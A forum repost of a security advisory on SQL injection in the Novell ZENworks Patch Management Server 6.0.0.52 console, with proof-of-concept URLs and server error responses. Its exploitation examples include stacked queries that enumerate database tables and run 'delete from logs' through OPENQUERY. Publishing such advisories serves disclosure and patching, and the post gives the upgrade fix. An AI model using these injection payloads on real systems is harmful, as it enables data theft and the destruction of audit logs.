[320X]

Quote

Summary
ZENworks Suite "automates and enforces business and IT managment processes across the lifecycle of desktops, laptops, servers and handhelds to control costs, ensure security and compliance, optimize the value of IT assets across diverse server and client platforms".

The Novell ZENworks Patch Management Server is vulnerable to SQL injection in the management console.

Credit:
The information has been provided by Dennis Rand.
The original article can be found at: http://www.cirt.dk/a...39-advisory.pdf

Details
Vulnerable Systems:
* Novell ZENworks Patch Management Server version 6.0.0.52

Immune Systems:
* Novell ZENworks Patch Management Server 6.2.2.181 or newer

Proof of Concept:
http://192.168.1.10/computers/default.asp?...irection=';

Response from server: Incorrect syntax near ', @RecsPerPage=100, @FirstRec=0, @Action=0, @Search = ', @groupFilter = '.

http://192.168.1.10/...fault.asp?sort=[ReportImpact_Name]&Dir=asc &SearchText=';StatusFilter=ERRR &computerFilter=187&impactFilter=29&saveFilter=save&Page=rep

Response from server: Incorrecy syntax near ', @delimiter='.

http://192.168.1.10/...fault.asp?sort=[ReportImpact_Name]&Dir=asc &SearchText=CIRT.DK &StatusFilter=';&computerFilter=187&impactFilter=29 &saveFilter=save&Page=rep

Response from server: Incorrect syntax near ', @groupFilter = ', @ImpactFilter = '.

http://192.168.1.10/...fault.asp?sort=[ReportImpact_Name]&Dir=asc &SearchText=CIRT.DK &StatusFilter=ERRR&computerFilter=';&impactFilter=29 &saveFilter=save&Page=rep

Response from server: Line 1: Incorrect syntax near ', @Contact_ID='.

Exploitation examples:
http://192.168.1.10/...rection=;select *+from+testclient.master.dbo.sysobjects

http://192.168.1.10/...rection=;select *+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")

Server 'testclient' is not configured for DATA ACCESS. [2]

http://192.168.1.10/...rection=;SELECT name+FROM+sysobjects+WHERE+xtype+=+"U"

http://192.168.1.10/...rection=;select *+from+OPENQUERY+(+[testclient],+"select+@@version;+delete+from+logs")

Server 'testclient' is not configured for DATA ACCESS.

Solution:
Upgrade to ZENworks Patch Management version 6.2.2.181 (or newer hot fix via your PLUS server) found at http://download.novell.com.

sorry for the post in windows section :)